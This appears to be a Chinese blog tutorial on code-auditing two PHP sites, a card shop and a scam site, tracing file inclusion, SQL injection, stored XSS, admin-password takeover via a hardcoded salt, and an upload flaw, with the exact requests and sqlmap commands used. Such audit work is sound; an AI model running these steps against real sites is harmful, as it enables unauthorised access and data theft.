2.3 代码审计

场景一:发卡网站

后台登录:admin/wuaishare.cn

  1. index.php的31行

include 'template/'.$tp.'/'.$action.".php";

有可能文件包含漏洞


  1. 我点击购买东西,还没付钱,抓到的数据包
1
2
3
/ajax.php?act=selKm
POST
gid=1

我放行之后,点击支付

1
2
3
/ajax.php?act=create
POST 
out_trade_no=2026131049390902&gid=1&money=5&rel=123123123&type=wxpay&number=1

此时后台可以看到


  1. 发现ajax.php的42行

$out_trade_no = $_POST['out_trade_no'];

参数没有进行过滤


  1. 发现56行利用了
1
2
$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number) 
         values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}',{$number})";

有可能出现sql注入


  1. 管理员通过admin/list.php (存储型XSS:可行)

看到订单号

136行发现$res['out_trade_no']直接从数据库取出,没有做任何过滤就放到了管理员面前

和上面漏洞结合,有可能出现xss盲打 (实测有长度限制) ,但是正常进行较短语句的XSS存储型注入是没有问题 的。


  1. admin/ajax.php (纵向越权:可行)

27行发现$pass = md5($pass.$password_hash);

发现密码加盐了,也就是在用户输入的密码后拼接一串字符串后再加密,因为开头引入了commom.php遂检查

发现common.php的34行$password_hash='!@#%!s!8#';


159行发现case 'upAdmin': 用来修改管理员密码

如果发送的case内容为upAdmin并且用户名admin密码为123456!@#%!s!8#并且进行md5,也就是f3b4e3b975e0484835e90514f8318e61

提交到admin/ajax.php,会直接越权修改管理员密码,遂尝试:

直接去访问/admin/ajax.php?act=upAdmin出现页面非法请求

因为

1
2
3
4
5
if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {

} else {
    exit( "页面非法请求!");
}

必须修改为POST包

在请求的header上加上

X-Requested-With:XMLHttpRequest

还需要加上

Content-Type: application/x-www-form-urlencoded

否则参数无法被识别的

建议使用Chrome版的Hackbar,附最终效果:

  1. admin/clist.php发现文件上传 (文件上传:可行)

$imgs = upimgs($_FILES['img']);在24行

全局搜索upimgs函数

发现if/function.php的141行发现这个函数

发现文件上传路径../assets/goodsimg/

需要做mime检测

文件命名规则 当前时间.后缀名

拓展补充: 此处的时间指的是 Unix 时间戳,指的是从 1970年1月1日 00:00:00 UTC 到当前时刻所经过的秒数,可以使用这个工具计算:时间戳(Unix timestamp)转换工具

例如发送图片之前的时间1770099184

发送图片之后的时间1770099204

使用burp进行暴力破解文件名

场景二:非法杀猪盘网站

include/conn.php

24行define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//对所有传入内容进行过滤
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    //这里$$_request意思就是“变量变量”
    //当$_request == '_POST'时,$$_request == ${'_POST'}是POST数组
    //$_POST as $_key => $_value
    foreach($$_request as $_key => $_value) {
        //1.$_key{0} 拿到$_key字符串的第一个字符
        //2.如果第一个字符不是_,就执行右侧赋值
        //3. $_key = 'username' $$_key = $username
        //4. daddslashes防止sql注入
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

前台登录的时候

1
GET /member/bin.php?act=login&username=18876115599&pwd=Ym3.Net&remember=true

member/post.php第5行

$ddh=trim($_GET['ddh']);

在32行的时候不做任何过滤直接就收录到sql语句中

有可能存在sql注入

构建一个满足这页面的情况

ddh=1&money=100&key=2052cd88bea3f9016a0057436dbbd750

1
python sqlmap.py -u "http://192.168.0.104/member/post.php?ddh=1&money=100&key=2052cd88bea3f9016a0057436dbbd750" -p ddh --dbs

管理员后台,账号管理的时候访问地址admin/admin.php

GET /admin/admin.php?clause=editinfo?id=2

发现调用119 function editinfo()

发现有全局变量global $db,$id,$LoginEdUserName;

并且id变量直接进入:

1
$rs = $db->get_one("SELECT * FROM `h_admin` where id = $id");

把这个get请求保存到文件

1
python sqlmap.py -r 1.txt --current-db
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS